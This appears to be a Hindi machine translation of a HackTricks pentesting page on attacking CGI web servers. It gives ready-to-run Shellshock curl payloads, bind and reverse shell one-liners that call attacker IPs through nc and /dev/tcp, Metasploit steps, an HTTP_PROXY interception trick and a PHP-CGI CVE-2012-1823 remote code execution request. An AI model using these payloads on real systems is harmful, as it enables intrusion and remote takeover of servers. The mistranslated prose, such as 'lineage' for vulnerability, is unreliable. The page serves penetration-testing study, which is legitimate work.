CGI

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks को समर्थन करने के अन्य तरीके:

जानकारी

CGI स्क्रिप्ट्स पर्ल स्क्रिप्ट्स होते हैं, इसलिए, यदि आपने एक सर्वर को कंप्रोमाइज़ किया है जो .cgi स्क्रिप्ट्स को निष्पादित कर सकता है, तो आप एक पर्ल रिवर्स शैल (/usr/share/webshells/perl/perl-reverse-shell.pl) अपलोड कर सकते हैं, एक्सटेंशन को .pl से .cgi में बदलें, एक्सीक्यूट परमिशन्स दें (chmod +x) और उसे वेब ब्राउज़र से एक्सेस करके रिवर्स शैल को एक्सीक्यूट कर सकते हैं। CGI vulns के लिए टेस्ट करने के लिए nikto -C all (और सभी प्लगइन्स) का उपयोग करना सुझावित है।

ShellShock

ShellShock एक वंशावली है जो Unix आधारित ऑपरेटिंग सिस्टम में व्यापक रूप से उपयोग किए जाने वाले Bash कमांड-लाइन शैल में प्रभाव डालती है। यह ऐप्लिकेशन्स द्वारा पारित किए गए कमांड्स को चलाने की क्षमता को लक्ष्य बनाता है। वंशावली उन पर्यावरण चर के मनिपुलेशन में है, जो डायनामिक नामित मान हैं जो प्रक्रियाओं को कैसे चलाते हैं को प्रभावित करते हैं। हमलावर इसे उपयोगकर्ता चरों में कुप्रयोगी कोड जोड़कर इसे एक्सीक्यूट कर सकते हैं, जो चर प्राप्त करने पर निष्पादित होता है। इससे हमलावर संभावित रूप से सिस्टम को कंप्रमाइज़ कर सकते हैं।

इस वंशावली का शिकार होने पर पेज एक त्रुटि फेंक सकता है

आप इस वंशावली को खोज सकते हैं जानकारी के आधार पर कि यह पुराना एपाची संस्करण और cgi_mod (cgi फ़ोल्डर के साथ) का उपयोग कर रहा है या nikto का उपयोग कर रहा है।

परीक्षण

अधिकांश परीक्षण एक कुछ चीज़ को इको करने पर आधारित हैं और उम्मीद करते हैं कि वह स्ट्रिंग वेब प्रतिक्रिया में वापस लौट जाएगा। यदि आपको लगता है कि कोई पेज वंशावली हो सकता है, तो सभी cgi पेजों की खोज करें और उन्हें परीक्षण करें।

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

कर्ल (प्रतिबिंबित, अंधा और आउट-ऑफ-बैंड)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

शैलशॉकर

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

शारीरिक लाभ

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

प्रॉक्सी (MitM से वेब सर्वर अनुरोध)

CGI हर http अनुरोध में प्रत्येक हेडर के लिए एक वातावरणीय चर बनाता है। उदाहरण के लिए: "host:web.com" को "HTTP_HOST"="web.com" के रूप में बनाया जाता है।

जैसे ही वेब सर्वर द्वारा HTTP_PROXY चर का उपयोग किया जा सकता है। कोशिश करें कि एक हेडर भेजें जिसमें "प्रॉक्सी: <IP_हमलावर>:<पोर्ट>" शामिल हो और यदि सत्र के दौरान सर्वर कोई अनुरोध करता है। तो आप सर्वर द्वारा किए गए प्रत्येक अनुरोध को कैप्चर कर सकेंगे।

पुराना PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

मूल रूप से यदि cgi सक्रिय है और php "पुराना" है (<5.3.12 / < 5.4.2) तो आप कोड को निष्पादित कर सकते हैं। इस भयानकता का शोधन करने के लिए आपको कुछ PHP फ़ाइल तक पहुंचने की आवश्यकता है बिना पैरामीटर भेजे (विशेष रूप से "=" चर भेजे बिना)। फिर, इस भयानकता का परीक्षण करने के लिए, आप उदाहरण के लिए /index.php?-s तक पहुंच सकते हैं और अनुप्रयोग का स्रोत कोड प्रतिक्रिया में दिखाई देगा

फिर, RCE प्राप्त करने के लिए आप इस विशेष क्वेरी को भेज सकते हैं: /?-d allow_url_include=1 -d auto_prepend_file=php://input और PHP कोड को **अनुरोध के शरीर में निष्पादित करने के लिए। उदाहरण:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

वल्न और संभावित उत्पीड़न के बारे में अधिक जानकारी: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated